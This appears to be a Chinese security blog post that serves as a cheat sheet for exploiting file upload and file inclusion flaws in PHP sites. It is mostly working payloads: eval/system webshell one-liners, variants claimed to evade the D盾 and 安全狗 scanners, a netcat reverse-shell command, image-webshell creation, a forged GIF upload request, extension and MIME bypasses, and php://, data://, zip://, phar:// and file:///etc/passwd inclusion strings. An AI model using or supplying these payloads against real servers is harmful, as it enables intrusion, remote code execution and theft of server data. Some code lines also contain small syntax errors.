【漏洞利用】文件上传漏洞&文件包含漏洞利用

一句话木马汇总

GitHub

中国蚁剑项目

PHP一句话

  1. 在服务端生成内容为一句话木马的shell.php文件,结合php://input使用。
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>`
  1. 将“nc IP PORT -e /bin/bash”作为cmd参数的值传递给服务端,攻击机开启nc监听模式。
<?php system($_GET["cmd"]) ?>  

静态免杀PHP一句话

  1. 可绕过D盾,D盾对于eval中是否包含$比较敏感。
<?php
function a()
{
    return "/*asdas*/".$_POST['a'];
}

eval(a());
?>
  1. 可以绕过D盾和安全狗。
<?php
ob_start();
echo "/*sdjmz*/".$_GET["id"];
eval(ob_get_contents());
ob_flush();
?>

文件上传绕过

图片马制作

cmd

命令:copy image.jpg/b+shell.php image_shell.jpg,image.jpg为原图片文件,shell.php为一句话木马文件,image_shell.jpg合成后的图片马文件。
这种方式就是将两个文件并成一个文件,shell.php内容会在合并后文件的最末端。

图片头欺骗

GIF头绕过:(jpg/png都可以,但实操起来gif更方便一些,jpg这些需要编辑hex比较麻烦)

-----------------------------21394584637639125584139511981
Content-Disposition: form-data; name="file"; filename="php-reverse-shell.gif"
Content-Type: image/gif

GIF89a;

<?php system($_GET["cmd"]) ?>  
......

后缀名绕过

前端js验证

在上传的时候后缀改为允许上传的后缀名,然后抓包,再修改为PHP等后缀名。

双后缀名

上传文件时,将文件名改为如shell.php.jpg。

MIME类型绕过

抓包将mime类型改为允许的

文件包含漏洞(上传成功后的利用)

文件包含漏洞相关的函数

include()
include_once()
require()
require_once()

结合PHP伪协议

常见协议

file:// — 访问本地文件系统
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
phar:// — PHP 归档

利用方式

php://

语法:php://filter/read=convert.base64-encode/resource=网页文件,可以用于读取网页源代码。
利用条件:开启allow_url_fopen
下面例子,可以读取到网站index.php的源码,并且返回的源码内容是经过base64编码的。

/?file=php://filter/read=convert.base64-encode/resource=index.php

利用条件:开启allow_url_include=on
php://input可以配合post发送数据,让网站执行post发送的数据。
下面例子中,将data中的PHP代码通过PHP伪协议将其作为file参数的值传递给服务端。当服务端对file参数执行include函数,即可让服务端执行用户输入的代码。

http://ip/?file=php://input
在data中输入:
<?php phpinfo()?>   //显示PHPinfo信息,和结合其他函数,如system("命令")。
或
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>    //将一句话木马写入shell.php,并保存在服务器上。
data://

语法:data://text/plain;payload或base64,base64编码的payload,可以让服务端执行用户输入的代码。
利用条件:allow_url_fopen参数与allow_url_include都需开启。
下面例子中,让服务端执行了PHPinfo()。

index.php?file=data://text/plain,<?php phpinfo()?>
index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
zip://

语法:zip://[压缩文件路径]#[压缩文件内的子文件名],绝对路径和相对路径即可,先将一句话木马文件压缩为zip,并上传至服务端,再利用zip://解压。
下面的例子中,将写入了一句话木马的shell.php文件,压缩为shell.zip,然后改为shell.jpg绕过图片上传限制。上传成功后,通过zip://让服务端解压并返回shell.php。
小细节:“#”需要手动写成“%23”

index.php?file=zip://shell.jpg%23shell.php
file://

语法:file://[文件的绝对路径和文件名],可以读取服务端的文件内容。
下面例子中,查看了服务端的passwd文件。

/?file=file:///etc/passwd
phar://

语法:phar://[压缩文件路径]/[压缩文件内的子文件名],绝对路径和相对路径即可,先将一句话木马文件压缩为zip,并上传至服务端,再利用phar://解压。
下面的例子中,将写入了一句话木马的shell.php文件,压缩为shell.zip,然后改为shell.jpg绕过图片上传限制。上传成功后,通过phar://让服务端解压并返回shell.php。

index.php?file=phar://1.jpg/1.php
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值